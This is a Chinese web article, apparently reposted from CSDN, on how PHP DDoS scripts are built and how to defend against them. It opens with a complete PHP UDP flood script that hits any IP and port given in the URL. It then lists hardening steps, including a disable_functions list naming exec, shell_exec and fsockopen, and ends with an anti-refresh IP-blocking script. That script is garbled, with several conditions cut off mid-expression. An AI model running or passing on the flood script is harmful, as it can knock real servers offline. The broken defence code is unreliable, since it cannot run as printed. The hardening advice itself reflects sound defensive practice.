您的当前位置:首页>新品 > 正文

【php】phpddos脚本构造及避免方法

来源:CSDN 时间:2023-03-22 08:44:59

我们先来看php ddos代码


【资料图】

代码如下

$packets = 0;

$ip = $_GET["ip"];

$rand = $_GET["port"];

set_time_limit(0);

ignore_user_abort(FALSE);

$exec_time = $_GET["time"];

$time = time();

print "Flooded: $ip on port $rand

";

$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){

$out .= "X";

}

while(1){

$packets++;

if(time() > $max_time){

break;

}

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

if($fp){

fwrite($fp, $out);

fclose($fp);

}

}

echo "Packet complete at ".time("h:i:s")." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n";

?>

细心的朋友会发现fsockopen是一个主要攻击函数了,不断连接发送请求导致机器流量与cpu过多从而网站不对正常访问了。

于是简单的研究了一下PHP DDos脚本构造,并有所收获,下面介绍几点可以最大程度避免的方法:

注意:以下操作具有危险性,对于造成的任何后果,与傲游无关,请谨慎操作。

1.打开php.ini

2.禁用危险函数

由于程序不同,函数要求也不同,所以请客户自行增删需要禁用的函数。

找到disable_functions,将前面的“;”去掉,在等号后面增加:

代码如下

phpinfo,passthru,exec,system,popen,chroot,escapeshellcmd,escapeshellarg,shell_exec,proc_open,

proc_get_status,fsocket,fsockopen

3.设置PHP执行超时时间

如果程序未执行结束但已经达到最大执行时间,则会被强制停止,请根据需要调整时间。

找到max_execution_time,将前面的“;”去掉,在等号后面增加正整数,单位为秒,如:30

4.禁用上传目录PHP执行权限

大概分为三种服务器: IIS,Apache、Nginx,具体步骤就不写了,放出个链接供大家参考:

iis与apache取消目录脚本执行权限方法:http://www.111com.net/sys/Windows/46232.htm

5.一个很暴力的方法

直接禁止PHP执行,原因是很多站点都可以生成静态网页的,每次生成或者管理都去手工打开PHP执行权限,现在已经有几个用户使用这种方法了,具体方法参见方法4

6.关闭用户中心

比如dede等cms都会有用户中心,里面有很多上传的地方,这就是大概的问题所在。

7.修改管理员目录

这个方法就不细谈了,并不是对所有程序都适合。

8.修改默认管理帐号

很多人都习惯使用:admin  但是如果程序出现漏洞,很容易被猜测出admin的密码,所以建议修改admin为其他登录名。

9.一个复杂且记得住的密码

不管是Windows/Linux的系统用户还是网站管理员的账户,都需要设置一个难以猜解的密码,如:123hai@tang@.

后再再附一个php防ddos攻击的代码

代码如下

//加入禁止IP

$time=time();

$fileforbid="log/forbidchk.dat";

if(file_exists($fileforbid))

{ if($time-filemtime($fileforbid)>60)unlink($fileforbid);

else{

$fileforbidarr=@file($fileforbid);

if($ip==substr($fileforbidarr[0],0,strlen($ip)))

{

if($time-substr($fileforbidarr[1],0,strlen($time))>600)unlink($fileforbid);

elseif($fileforbidarr[2]>600){file_put_contents($fileht,$ip."rn",FILE_APPEND);unlink($fileforbid);}

else{$fileforbidarr[2]++;file_put_contents($fileforbid,$fileforbidarr);}

}

}

}

//防刷新

$str="";

$file="log/ipdate.dat";

if(!file_exists("log")&&!is_dir("log"))mkdir("log",0777);

if(!file_exists($file))file_put_contents($file,"");

$allowTime = 120;//防刷新时间

$allowNum=10;//防刷新次数

$uri=$_SERVER["REQUEST_URI"];

$checkip=md5($ip);

$checkuri=md5($uri);

$yesno=true;

$ipdate=@file($file);

foreach($ipdate as $k=>$v)

{ $iptem=substr($v,0,32);

$uritem=substr($v,32,32);

$timetem=substr($v,64,10);

$numtem=substr($v,74);

if($time-$timetem

if($iptem!=$checkip)$str.=$v;

else{

$yesno=false;

if($uritem!=$checkuri)$str.=$iptem.$checkuri.$time."1rn";

elseif($numtem

else

{

if(!file_exists($fileforbid)){$addforbidarr=array($ip."rn",time()."rn",1);file_put_contents($fileforbid,$addforbidarr);}

file_put_contents("log/forbided_ip.log",$ip."--".date("Y-m-d H:i:s",time())."--".$uri."rn",FILE_APPEND);

$timepass=$timetem+$allowTime-$time;

die("Warning:"."

"."Sorry,you are forbided by refreshing frequently too much, Pls wait for ".$timepass." seconds to continue!");

}

}

}

}

if($yesno) $str.=$checkip.$checkuri.$time."1rn";

file_put_contents($file,$str);

?>

相关教程 :

标签:

最新新闻:

新闻放送
Top